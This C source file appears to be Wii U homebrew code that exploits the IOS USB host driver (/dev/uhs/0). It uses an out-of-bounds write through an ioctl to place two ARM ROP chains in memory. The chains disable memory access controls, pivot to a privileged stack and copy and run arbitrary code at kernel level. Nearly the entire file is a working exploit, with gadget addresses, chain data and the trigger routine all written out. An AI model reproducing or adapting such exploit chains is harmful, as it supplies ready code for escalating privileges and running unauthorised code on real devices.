//Main.c
#include <string.h>
#include <stdarg.h>
#include <stdlib.h>
#include <malloc.h>
#include <unistd.h>
#include "dynamic_libs/os_functions.h"
#include "dynamic_libs/fs_functions.h"
#include "dynamic_libs/gx2_functions.h"
#include "dynamic_libs/sys_functions.h"
#include "dynamic_libs/vpad_functions.h"
#include "dynamic_libs/padscore_functions.h"
#include "dynamic_libs/socket_functions.h"
#include "dynamic_libs/ax_functions.h"
#include "fs/fs_utils.h"
#include "fs/sd_fat_devoptab.h"
#include "system/memory.h"
#include "utils/logger.h"
#include "utils/utils.h"
#include "common/common.h"
#include "main.h"
int dev_uhs_0_handle;
/* YOUR ARM CODE HERE (starts at 0x08122500) */
int execute_me[] = {
0xE3A00000, // MOV R0, #0
0xE12FFF1E, // BX LR
};
#define CHAIN_START 0x1016AD40
#define SHUTDOWN 0x1012EE4C
#define SIMPLE_RETURN 0x101014E4
#define SOURCE (0x120000)
#define IOS_CREATETHREAD 0x1012EABC
/* ROP CHAIN STARTS HERE (0x1015BD78) */
int final_chain[] = {
0x101236f3, // 0x00 POP {R1-R7,PC}
0x0, // 0x04 arg
0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR
0x68, // 0x0C stacksize
0x10101638, // 0x10
0x0, // 0x14
0x0, // 0x18
0x0, // 0x1C
0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
0x0, // 0x24
0x0, // 0x28
0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x30
0x0, // 0x34
IOS_CREATETHREAD, // 0x38
0x1, // 0x3C
0x2, // 0x40
0x10123a9f, // 0x44 POP {R0,R1,R4,PC}
0x0812A314, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xEE030F10, // 0x4C value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0)
0x0, // 0x50
0x10123a8b, // 0x54 POP {R3,R4,PC}
0x1, // 0x58 R3 must be 1 for the arbitrary write
0x0, // 0x5C
0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x64
0x0, // 0x68
0x1012EE64, // 0x6C set_panic_behavior (arbitrary write)
0x0, // 0x70
0x0, // 0x74
0x10123a9f, // 0x78 POP {R0,R1,R4,PC}
0x0812A314 + 0x4, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE1A0D001, // 0x80 value: MOV SP, R1
0x0, // 0x84
0x10123a8b, // 0x88 POP {R3,R4,PC}
0x1, // 0x8C R3 must be 1 for the arbitrary write
0x0, // 0x90
0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x98
0x0, // 0x9C
0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write)
0x0, // 0xA4
0x0, // 0xA8
0x10123a9f, // 0xAC POP {R0,R1,R4,PC}
0x0812A314 + 0x8, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE8BD800F, // 0xB4 value: LDMFD SP!, {R0-R3,PC}
0x0, // 0xB8
0x10123a8b, // 0xBC POP {R3,R4,PC}
0x1, // 0xC0 R3 must be 1 for the arbitrary write
0x0, // 0xC4
0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0xCC
0x0, // 0xD0
0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write)
0x0, // 0xD8
0x0, // 0xDC
0x10123a9f, // 0xE0 POP {R0,R1,R4,PC}
0xFFFFFFFF, // 0xE4 enable read/write everywhere
0x1015BD78 + 0xF4, // 0xE8 location of privileged stack
0x0, // 0xEC
0x1012EB8C, // 0xF0 IOS_GetUpTime64 (privileged stack pivot) (ends in LDMFD SP!, {R0-R3,PC})
0x08122500, // 0xF4 destination
0x00140000, // 0xF8 source
sizeof(execute_me),// 0xFC length
0x0, // 0x100
0x08131AE4, // 0x104 BL KERNEL_MEMCPY; MOV R0, R4; ADD SP, SP, #8; LDMFD SP!, {R4-R8,PC}
0x0, // 0x108
0x0, // 0x10C
0xFFFFDC48, // 0x110 Will be the LR: shutdown syscall
0x0, // 0x114
0x0, // 0x118
0x0, // 0x11C
0x0, // 0x120
0x0812A124, // 0x124 MOV LR, R4; MOV R0, LR; LDMFD SP!, {R4,PC}
0x0, // 0x128
0x08122500, // 0x12C Jump to code!
};
int second_chain[] = {
0x10123a9f, // 0x00 POP {R0,R1,R4,PC}
CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination
0x0, // 0x08
0x0, // 0x0C
0x101063db, // 0x10 POP {R1,R2,R5,PC}
0x00130000, // 0x14 source
sizeof(final_chain), // 0x18 length
0x0, // 0x1C
0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC}
0x0, // 0x24
0x0, // 0x28
0x101236f3, // 0x2C POP {R1-R7,PC}
0x0, // 0x30 arg
0x101001DC, // 0x34 stackptr
0x68, // 0x38 stacksize
0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC}
0x0, // 0x40
0x0, // 0x44
0x0, // 0x48
0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
0x0, // 0x50
0x0, // 0x54
0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x5C
0x0, // 0x60
IOS_CREATETHREAD, // 0x64
0x1, // 0x68 priority
0x2, // 0x6C flags
0x0, // 0x70
0x0, // 0x74
0x101063db, // 0x78 POP {R1,R2,R5,PC}
0x0, // 0x7C
-(0x240 + 0xF000), // 0x80 stack offset
0x0, // 0x84
0x1011D424, // 0x88 LDMFD SP!, {R4-R11,PC}
0x0, // 0x8C
0x0, // 0x90
0x0, // 0x94
0x0, // 0x98
0x0, // 0x9C
0x0, // 0xA0
0x0, // 0xA4
0x4, // 0xA8 R11 must equal 4 in order to pivot the stack
0x1012EA68, // 0xAC stack pivot
};
int Menu_Main(void) {
//!---------INIT---------
InitOSFunctionPointers(); //! Init coreinit functions adresses
dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); //! Open /dev/uhs/0 IOS node
uhs_exploit_init(); //! Init variables for the exploit
//!------ROP CHAIN-------
uhs_write32(CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20);
uhs_write32(CHAIN_START + 0x10, 0x1011814C);
uhs_write32(CHAIN_START + 0xC, SOURCE);
uhs_write32(CHAIN_START, 0x1012392b); // pop {R4-R6,PC}
//!--------DEINIT--------
IOS_Close(dev_uhs_0_handle); //! Close /dev/uhs/0 IOS node
return EXIT_SUCCESS; //! Exit from HBL
}
//!------Variables used in exploit------
int *pretend_root_hub = (int*)0xF5003ABC;
int *ayylmao = (int*)0xF4500000;
//!-------------------------------------
void uhs_exploit_init() {
ayylmao[5] = 1;
ayylmao[8] = 0x500000;
memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain));
memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain));
memcpy((char*)(0xF4140000), execute_me, sizeof(execute_me));
pretend_root_hub[33] = 0x500000;
pretend_root_hub[78] = 0;
DCFlushRange(pretend_root_hub + 33, 200); //! |Make CPU fetch new data (with updated vals)
DCInvalidateRange(pretend_root_hub + 33, 200); //! |for "pretend_root_hub"
DCFlushRange((void*)0xF4120000, sizeof(second_chain)); //! |Make CPU fetch new data (with updated vals)
DCInvalidateRange((void*)0xF4120000, sizeof(second_chain)); //! |for second chain inside MEM1
DCFlushRange((void*)0xF4130000, sizeof(final_chain)); //! |Make CPU fetch new data (with updated vals)
DCInvalidateRange((void*)0xF4130000, sizeof(final_chain)); //! |for final chain inside MEM1
DCFlushRange((void*)0xF4140000, sizeof(execute_me)); //! |Make CPU fetch new data (with updated vals)
DCInvalidateRange((void*)0xF4140000, sizeof(execute_me)); //! |for final chain inside MEM1
}
int uhs_write32(int arm_addr, int val) {
ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes
DCFlushRange(ayylmao, 521 * 4); //! |Make CPU fetch new data (with updated adress)
DCInvalidateRange(ayylmao, 521 * 4); //! |for "ayylmao"
OSSleepTicks(0x200000); //! Improves stability
int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1
int output_buffer[32];
return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
}